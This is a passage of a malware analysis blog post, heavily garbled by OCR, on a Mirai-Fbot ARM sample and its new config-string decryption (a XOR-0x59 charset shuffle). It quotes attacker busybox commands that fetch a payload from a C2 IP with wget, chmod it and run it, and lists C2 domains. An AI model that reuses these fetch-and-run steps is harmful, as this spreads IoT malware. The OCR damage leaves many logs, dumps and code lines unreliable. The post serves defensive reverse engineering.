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MMD-0065-2020 - Linux/Mirai-Fbot's new encryption explained
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Prologue

[For the most recent information of this threat please follow this ==> link

I setup a local brand new ARM base router I bought online around this new year 2020 to replace my old pots, and
yesterday, it was soon pwned by malware and I had to reset it to the factory mode to make it work again (never
happened before). When the "incident" occurred, the affected router wasn't dead but it was close to a freeze state,
allowing me to operate enough to collect artifacts, and when rebooted that poor little box just won't start again. So

for some reason the infection somehow ruined the router system.

As the summary for this case, in the router I found an infection trace of Mirai Linux malware variant called
"FBOT", an ARM v5 binary variant, and it is just another modified version of original Mirai malware (after a long
list of other variants beforehand). The infection came from a malware spreader/scanner attack from "another"

infected internet of things explained later on.

There is an interesting new encryption logic on its configuration section in the binary, alongside with the usage of
"legendary" Mirai table's encryption, so hopefully this write-ups will be useful for others to dissect the threat. This
may not be an easy reading one you and is a rather technical post, but if you are in forensics or reverse
engineering on embedded platforms i.e. IoT or ICS security, you may like it, or, please bear with it. To make the
post small and neat I won't go to further detail on router matter itself, and just go straight to the malicious binary
that caused the problem, Mirai, is also a malware with a well-known functionality by now. It would be helpful if

you know how it works beforehand. So I'll focus to the new decryption part of the artifact.

I changed my analysis platform since SECCON 2019, I use "Tsurugi Linux SECCON edition", a special built
version by Giovanni, with hardened/tested by me, supported by the "Trufae" for radare2's r2ghidra & r2dec pre-
installing process during the SECCON 2019 time. It's a Linux distribution for binary & forensics analysis, Tsurugi
is enriched with pre-compiled r2 with many architecture decompilers (i.e.: r2ghidra, r2dec and pdc), along with
ton of useful open source binary analysis, DFIR tools with the OSINT/investigator's mode switch. This OS should
suffice the analysis purpose. A new feature of r2ghidra (also r2dec) are used a lot. (The thank's list is in the

Epilogue part).

The tool's version info:

1 > 1r2 -v
2 radare? 4.1.0-git 24455 @ linux-x86-64 git.4.0.0-235-9982be50

3 commit: 982be504999364c966d339c4c29f20da80128e14 build: 2019-12-17__10:29:05
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4 :> luname -a

5 Linux tsurugiseccon 5.4.2-050402-tsurugi #1 SMP Tue Dec 10 21:18:57 CET 2019 x86_64 x86_64
x86_64 GNU/Linux

(click the image to check details..)

Okay, let's write this, here we go..

The infection

After successfully getting logs and cleaning them up, below is the timeline (in JST) that contains the infection

detail:

* |ogin with soks Fr]
* rinr'-ﬂ 1P: 93 157162 2471
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/s ybox SATOR [ ) . ;
utneuu &% /bin/busybox chmod 777 retrieve BE /Din/bueybox

busybox retr Tave B& *retrieve | bin/busybox cheod 777 retrieve B /bin/busybox
o chmod 777 .t
hua ybox retriewa BE »retrieve && n/busybox chmod 777 retrieve BE /bin/busybox
nn I:I|r| t-us_uhcr ] b 13 7.t
"Eld}(IIHH}:H : ybox retriesve B& dretrieve && /bin/busybox chmod 777 retrieve B /bin/buaybox
cp I:lln-t-u,qhﬂr . i in/| ] L th
'Jﬂz 114]08:08:42 i sybo A ybox retrieve E& rretrisve &% /bin/busybox chaod 777 retrieve B& /bin/busybox
/bin/busybax . i i 177

41 E'J'ﬂ‘-i'lllﬂ'l‘ﬁﬂ 0a:42] / ybox wget https//B. 206, 227, 65/ fhot, arns -0 - .t /bin chmod 97 .t

We can see one IP address 93(.)157(.)152(.)247 was gaining a user's login access, after checking of infection

condition and following by confirming previous infection binary instance, it downloaded and executed the ".t
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payload that was fetched from other IP 5(.)206(.)227(.)65 afterwards. Other interesting highlights from this
infection are: It flushes all the rules in the "filter" table of iptables; Scanning (previous) infections; The usage of
SATORI keyword during checking (which is actually not the original one since the original author has been

arrested) and the downloading tool used is either the tftp or wget.

1 fbot-arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

2 3ea740687eeeB84832echdb202e8ed743 fbot-arm

The compromised IoT that was infecting my device is this kind --> [link] a made-in-China(PRC) "GPON OLT"

device. It is important to know that they are vulnerable to this Mirai variant's infection.

During firstly detected, FBOT was running as per Mirai suppose to work, and from the COMM serial connection

(telnet & SSH wasn't accessible due to high load average) we can see it runs like below list of file result:

{snapshot - 1)

root

root B !
root i .1 34E24
root 52Th 0t0

root . 404G /
root 8y 4096 2/
root  tot 8,1 34724 397381 ftmp/.t (deleted)
root i 0t0 TCP 10.0.2.1
root 3 ; 0t0 TCP 127.0.0,

The IP 5(.)206(.)227(.)65 is also functioned as this FBOT C2 server that looks "out of service" during the above

snapshot was taken.

So the binary that was executed was somehow deleted the itself. I can not recover it. An interesting randomized
process name is running on a memory area that is showing a successful infection. So, being careful not to shutting
down the load average 10 something small system I dumped the binary from memory as per I explained in the
R2CON2018 [link] and 2019.HACK.LU [link] presentations I did, then, I saved and renamed the binary into

"fbot-arm" for the further analysis purpose.

The memory maps is a good guidance for this matter, the rest of memory and user space are clean, note: you have
to be very careful to not freezing the kernel or stopping the malware during the process. I was lucky to install tools

needed for hot forensics before the infection occurred.

The binary analysis
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The dumped ARM binary can be seen in radare?2 like this detail, which it looks a plain stripped ARM may came

up as result from cross compilation.

HE
f'ﬂ 3 | inenun
file fhot-arm .

M git.4.0.0-
(dad 14

The binary headers, entry points and sections don't show any strange things going on too, I think we can deal with

the binary contents right away..

Headear
i 7f 45 4c 46 01 01 01 €1 00 OO0 00 00 00 00 00 0D

Size of section headers: 4IJ (bytes)
Mumber of section headers: 10
Section header string table index: 9

Pragram Headers:

Offset VirtAddr Physhddr FileSiz MeaSiz Flg Align
x000000 OxD0008000 Ox00008000 007458 Ow07d5 |
8000 u(lﬂ]k'[![l[l L]-U "JUIUCIU'J Dnﬂuﬂhll Uhlll.]

The new encryption and the decryption

When seeing Fbot binary's strings, I found it very interesting to see that there's a "Satori botnet's signature", that

was used for scanning vulnerable telnet by Satori botnets, that string is also written hard-coded in this FBOT
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The same string is also detected during the infection log too. this coincidence(?) is really a "Deja Vu" to logs seen

in the Mirai Satori infection era within 2017-2018. But let's focus to the encryption strings instead.

There are two groups of encrypted configuration data (Mirai usually uses encrypted configuration data before
being self-decrypted during the related execution process), but one of group of data looks like encrypted in a new

different logic.

The first group of the data (the orange colored one) is in a form of encryption pattern that is not commonly found
in Mirai binaries before, which is the point of this post actually. And the blue-colored one is the data configuration
that have been encrypted in pattern that is being used in table.c:table_init() of bot client, to then unlocking them

for the further usage in malicious process like telnet scanning (scanner_init), or the other functions in Mirai
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operation. The blue color part's encryption method is a known one, we can later see its decrypted values too.

fpi TeZBp¥r¥n

955 7 #h:ﬂﬁﬁﬁtj
e 1) D) ¥
' L EEREERE ¢ 38 37 abedefghi jklmncpqrstunnyz0] 23456789

thuif jb
quecgt
6 ddhris
5 bisbu
f1tphuc
o I‘tLF.'h
09 rksnedflck
54 an'r-.h

e
L 1 hur‘andhnhl
5 cmrvmrOaYmnvhde wfB6e T 6 iafkne
& 5 wntkm W B 5 frkbe
7 6 atrimo M 8 idhuubds
7 B mnaei M binbe
! 11 zwnamsmgfhd fGa0 5 4 uuhu
g | miruchn | wd (e FE 5 ;
T B KZLDXF ) LA
shel |¥r¥n
5h¥r¥n

Oxf704 17 16 applet not found

The first configuration (encrypted) data will be firstly loaded by table.c:add_entry() variant function of Mlrai,
but during the further process it is processed using a new different decryption. Summarizing this method in a
simpler words: that different decryption is a shuffle of alphabetical character set, based on a XOR'ed key that

permutes its position.

Let's access the .rodata section in address 0xf454 where the first group data-set is located. When you get there,
after checking the caller reference, it will lead you to a function at 0x9848 that's using those crypted values, see

below:

[addr.x (45 . h P mra_mEm
0ol

string “wrwomne_nsn” ; len=14 i [04] =r—- section size 2308 nemed .rodata

string "wrwg” ¢ len=h

dr rl, [atr,vrwg_smna_msn)
mov rl, Oxa

mov rig |

bl fen. 00005780
dr rll, [str,vrwgl
mov rls B

mov rd, 2

bl fen, 00008780
dr rls [str.utvd
mov rl, B

mov rd, 3

bl fen, 00008750
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If you go to the top of the function and see (address 0x984c and 0x9858) how two string-sets are loaded from
addresses 0x10020 and 0x10062 to be passed into a function in 0x975C with their length of 0x42 as secondary

argument.

(000009848 [xAdvc]O 0F '7'1:|IJ fl:u:nt am]> pd lr B fon. 00009348

(delZded
#4019fed
4210a0s3
clffffab
Tcl19fed
4210a0e3
bd feb
140137ed
Oc10c0c3

str Iry [sp, -41)
dr i, [Oud00092dE]

_mow el Onedd] —

(bl fen,0000975cF
Tdr 0, [Rd00005ad:]
ol (02!

b1 fion. 000 375

sir.
nov rl, Oue

now riy |

bl fon 00009780

dr 0, [str,vruq]
nov rl, 6

nov rE. 2

bl fen, 00008780

dr rl, [_,tr utwx]

EIEEIJaﬂa.,
best £ f fedy
Bel19fah

The two set loaded string-sets are saved in the ARM binary in this location:
> px @ 010020

- offset -
0x00010020
0x00010030

'leﬂf]df.]

e ]
0x000100a0
0x000100b0

01000
llrﬂlﬂﬂlﬂﬂﬂ"l
d.\ ﬂ

01 23 45 €7 83 AB CD EF
1415 Qald 1108 000 D117 1203 009 1612
110 0cOd 181b OF11 1c13 2d3f 2836 3438
3c3a 3135 2037 2¢3d 2e2f 332b 2130 3e32
23Za 3bZ9 6eb1 GOEY Gbbc 6468 Gfba 6419
077d 181b 1ald 1cif 1e11 1013 1215 1417
1609 080b 0ald OcOf 0e01 0003 383b 3a3d
3c3f 3e31 3033 3735 3437 3629 282b Zald
'Zcif 2821 2023 6968 Bb6a 6d6c 6f6e 6160
7776 1974 fiff ££6f 0100 0000 047 0000

0 0000 0000
0000 0000

0123456 789ABCDEF
veeenn. (648
€115 7,=,/3+10:2
#*.}na iklImho jd.

-
EEE T T T RN L

<T2103254 76 ) (+%=
o .1 Bihkjmlona™
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There is a XOR key with value 0x59 applied to obfuscate the strings that was previously mentioned..
[ﬂhEﬂJIJBi‘ﬁc]‘_z pd 3

s from fen, 1845
32_t argl, int3Z_t argd);

mov rd, 0
b haTH

]
I:IIED@-:.BE_

IZ'IILILEF'*EI cap r2, r
bit Ox9764
| nov pc,
[0x0000575c] >
[0x0000975¢] >
[Ox0000575]> p
vold fen, 0000975 int32_t arg2, int3_t argl)

int32_t ivarl;
||r.1r| - ﬂ.

2 rl + argl) = #{uintB_t =)} iVarl + argl
ivarl = iVarl + 13

Back to the function in 0x9848, the rest of the encrypted configuration data (the rest of "orange" ones) is parsed

into function in 0x9780.

int32_t iVarl;
undef inedd uVar2;
undefined *puVar3d;
char *pcVard;
char *pcVard;
int32_t iVar6;

{0xd2, #(int32_t *)0x93d8);

0x00009854 0097
0975c(0x42, *{ln‘tﬂi t *}ﬂxgﬂdc‘ﬁi

[

030000 .

tJu[]t'lL"J[] f
0 f B0 *( t}ﬂxﬂﬂeﬂ
| (+(int32_t *)0x39e8,
M. {(#(int32_t *)0x9%ec,
fen, 000097200%( int32_t =)0x99f0,
cn, Q0009780¢*( int3Z2_t #)0x9974,
f 't_'_*{in‘tfﬂ_t #)0x9918,
| {(*(int32_t =)0x99fc,
i {(*(int32_t #)0x9a00,
I rt{lnt’ﬂ_t *)0x9a04 ,
0093 | (*(int3Z_t *)0x9a08,
x00009520 cf W= int32_t *}ﬂ}tﬂaﬂc.
NisANNGAAN { { Wl i nd T + #WN0s10

Function 0x9780 seems to be a modification of a table.c:add_entry() function in the original Mirai code (or
similar variants), the modified (or additional) part is a decoder logic of the parsed data. The parsed data will be

translated against the character map formed after XOR'ed that is stored in the memory, to have its desired result.

I hope the below loop graph is good enough to explain how the decoder works statically (I have adjusted

everything to fit into one image file).
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5 loeding first BUE sirings
3 losding seoord BB sArings

i Comparing mp of sscond B0 sfrirgs {rd) fo rl
[ ]

I think it would be better for you to see this first modified encryption config data process in the way it is called

from the Mirai's table_init() function reversed as per below:

new_EMCRYPT_table_init()
{
.
da r_59(__ CHARSET @1,
[] s CHARSET B2,

—_add_en
—add_ent

{"mmaei®, &,
{"ownamsmgfhd"™,
H

o"8uTa7", 14,
chgymd“tdorlon umnwd~itxib*mdwgec", 42
3, 23);

¥

This should be close enough to what adversary has coded.

Dynamically, the character mapping process used to translate the encrypted strings can also be simulated in

radare? during on-memory analysis (it will be in the heap memory area somewhere if you want to confirm it) as
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per below result:

So, additionally, static or dynamic reversing can produce same result. I always prefer the static one since I don't

have to run any malware code just to crack its configuration.

The encoder table, in text! (enjoy!)

1

MLSDFQWYXNCZRPOKGIUTABVHEJtfqomaechlynudwvjrxigkzsbp7890254163=0"$
2

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./ -
3

I announced it yesterday in twitter [link], below is the decryption result:
of fset [ c«h;ﬂfbgﬂE«ULFF|244J5'L9ﬁBLJE 0123406 FASABLOEF 01234506 TASABCOEROTE 3450 FaBARCOE DT 23

20200007453 . Bvrwg@zmnadasm. . Evrwgl, | Sutwvx, . Smsm, Bgwuu. . . fgzo. . . Ektrdiuv. . .. Ektr. ... vhppt

G 0u0000tdal  owdex emnemr Os Tmnvhide. xntkm hajrlmn rwnae i zwnamsmathd. imodmiwd kAUNEE . KO
&1 0x000074f0 T dgoddoeh.  ovrwofdmi @igv. . WFT 8 YTTREE=T. . gaSciivo 8=7=T Mrm icm agchaymd tdo™ icn
S0x0000554F  “umnwd T 1txib mdwges. | Gao

i

7 deceder is at [0x00009780]

MLEDEOWY ANGZRPOKE TUTABVHE J+ fgoms Ty

o

g ABCOEFGH] JELMROPORSTUVWXY Zabcdefe

1

I. Fesul T

12 [@vrwgizmnatmsm = /proc/self/exe

1.3 [Zvrwol = /proc;

14 [Butwx = /maps!

15 [ Ggwu = /Scomm

16 (Egzo = Sowd

17 [Bktridiuy = fyar/tmp

18 [@ktr = /var

19 |da0 = [fdl

20

il hppt owdex emmwmr [dal Ymnvhde xntkm atrimo munaei zwriamsm gfhd imndmiwd KZUDKF
22 { HUU] FqodSgeh® Evrwgddmi Bigy WET @ YTTRES=T gadciive 8=7=7
23 << Nrm™ iem gohgymd “tdo™ fom”umnwd " i txib T mdwees

24

25| 2> pizza dongs helper (37} Helping slave Tarted lolfgt wolTexe cbin telneten PLEDIE
#f »» POST Jedn-cpi/ Sproc/net/tep GET / HTTRA1, 0 we=hitpd 1.0, O |
27|»» Are the chicken and the melon tasty enough

28

A0 Lx0000thed Lxsﬂ;rjm 0% 3024  /fhot-arm]> prx @ str. rth

0| - offset - 0123456769ABCDEF]1 234567 B0ABCDER DIES#EFIEQFBEJEFIIL34 GTESABCOERD 123456 T39ABCOEFD1 23
31 (0200004524 rtbu “ff' h'n thuif b guegt. . ddhris, . bisbo. . ftiphue, rt7eh | rhsnsedfkk

32| 0x00007638  obkw. #0589 oy L ¥, ﬁ CEJD. bunandfenhi. igfkne. . fokbe. . | idhuebds. . binb

3 ﬂJIDﬁD G8c .. wubu. . hhceTb. . efe. B

3 his one is encrypted, you can decrypt "as usus :

30070 rtbu witt.h ni. thuif [L.] efc

36| %> user.. . pass. . ogin. . sernsme, | vrdvs  coount | enter. | assword

37 |5 usybox. . ulti=call help . BMC. . eritication . nvalid . ailed . ncorrect. .. enied. . rror
a0 y " | —

38 2 . oodbye. . bad

3

40| Cracked by Punixfreaxip fmalwaremustdie!
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Since Mirai is coded in a way to make reverse engineering difficult, what you reverse in its binary's code-flow is
not what has actually had been coded in C, please noted this, in example, In Mirai, the usage of global variables
and the global structs, the #define or #ifdef directives used, the method to unlock encryption process-used-
variable values and then lock them all back afterwards, and many other tricks used and designed for the sake of
obstruction the reverse engineering. There is no shame in not reversing the overall codes into original ones,
especially what you get is embeded-platform system's binary like ARM or MIPS or SH with way simpler
assembly code. Reversers know this. Don't let this discourage you for not be proactive in reversing, but keep

learning from it and learning it more.

Back to our binary, the timing on when the first and second encrypted configuration were decrypted during
malware execution process is different too. This is is the rough C flow of what this ARM binary process looks like
during being executed, it's enough to explain my point, which is, the timing when the first configuration was
executed is when the process of infection is happening, and the second configuration is used for the

spreading/scanning purpose, which will be used afterward.

LL)3

- H

pv{var_37, arg_2[1]);:

R tih; ) _— this config are variablas
t_config_or_new_ENCRYPT_table_init(); usad for the infaction

sys_write():

—_bind_socket_fd_result = __ socket _WOR_connect_close(8sigs):

process mather

vars() X 5 + 18;
{var_39, var_6);
len(*arg_2));
*arg_2, war_39;
_Rand_alpha_str{var_3%, var_g);

ig_table_init(2, sde 3a) This config is used for the
1(); scanning process (infesting)
i in{"fdev", var_39);: process
next_code

(Warning! The function's namings above are self-made naming for my reversing purpose and not the actual ones, I
don't have ESP power to read the mind of the coder by reading his stripped binary, so please bear with differences

etc..)

The static code above can be easily filled with its argument values with two ways, following the registers or after
you see how the malicious binary can be simulated its system calls, below is the snip code of what I did (the latter

method) to show how this binary was executed as per flow above to reveal its values:
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FILE_MAME, [FILE_MAME], ..};
- rocmask(SI6_BLOCK, [INT], MULL,
unlink{FILE_MAME};

n{SIGCHLD, {5IG_IGN, [CHLD], ..):
sn(SIGHUP, {3IG_IGN, [HUP], ..}, ..1;
_IMET, SOCK_STREAM, IPPROTO_IP) = |
SOCK_MUM, F_GETFL) = ox2 (flags O_RDWR);
Fenkl{SOCK_MUM, F_SETFL, O_RDWR|O_NONBLOCK) :
chopt (SOCK_MUM, SO0L_SOCKET, SO_REUSEADDR, [1], 4) ;
nd({SOCK_MM, {2a_family=AF_INET, sin_port=htons(PORT_WUM), sin_sddr=inet_addr(IP_ADDR)}, 16);
listen(SOCK_MUM, 1);

## FILE_MAME = "./fbot-arm™; SOCK_NUM = 2; PORT_WUM = IP_ADDR = "127.9.8.17;

Now we know for sure why I didn't get the file because it was self-deleted after running at the first time.

No. We are not done yet..

As you can see in the decrypted strings, it has mentioned "pizza dongs helper". And the C2 for this Mirai variant
has been obviously shown during infection stage (the data is saved in the configuration part that can be achieved
by table.c at "init" process), it is on IP 5(.)206(.)227(.)65, if you do OSINT and seeking passive DNS data of the

IP address, you will see some similar hostnames and domains to the wording used in the decryption data.

Below is the example of hostnames & domains linked to the C2 IP from a passive database:

ohyaya.raiseyourdongers.pw 2019-17-04 15:38:37 20719-11-26 05:06:16
nbgga.farm 2019-11-22 09:5217  2019-11-22 0::52:17
raiseyourdongers.pw 2019-07-06 14:25:24 20719-11-20 10:21:27
n&a.gov 2019-07-07 10:19:39  2079-12-04 14:04:28

It's same domain that also has been registered in multiple IP around the globe:

1. bugyas, con

We keep on monitoring the spreader movement of this malware, these are several pickups of IoT devices log that
is actively seeking for other vulnerable ARM devices. I sorted out in timeline base. I hope the carriers that's

having vulnerable devices on the list can pay attention to address this issue.
Tiirriste Dewnload baal Paylond service Saved m Spreader loTIP Spreader ASN Spreder Prefiy ISP Service Courtry

MAJESTIC

(A BEL

LYMET-INTERMETT MO

The IOC and STIX2 of this threat is in the posting process to usual portals.
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Lastly, as additional, the alleged botnet coder/owner has just sent his compliment, which is rare, so I attached in
this blog too:

Faraat viraaline

(. , owiwlwuueuey
] hwewhijejehfibfle

Replying t

This bot should receive its bruteforce combinations via

the cnc
81 AM - Jam 15, 2020 - Twatter for IPhons
direct message twitter

owiwiwuueuey )

It's nice watching you reverse my fbot variant. At first I
(. thought it was a fake mirai version but you did good

recorded a

— 17
FriJdan 17

=]

3:25:00 JST 2020

Epilogue

This post is dedicated to wonderful people who fight tirelessly against IoT threat that keep on aiming our devices
until now, and also to people who try very hard to push new policy to have us defend better for the threat. I hope

this post helps you.

Thank you very much to r2ghidra, r2dec, 12 folks, tsurugi linux folks, MMD mates and friends, and all I can not

mention in here, for supporting our effort in analyzing Linux malicious code all the time.

[Edit] Thu Jan 23 2020, thank you Security Affairs for the historical background and insights of Mirai and Fbot.

This technical analysis and its contents is an original work and firstly published in the current MalwareMustDie

Blog post (this site), the analysis and writing is made by @unixfreaxjp.

The research contents is bound to our legal disclaimer guide line in sharing of MalwareMustDie NPO research

material.
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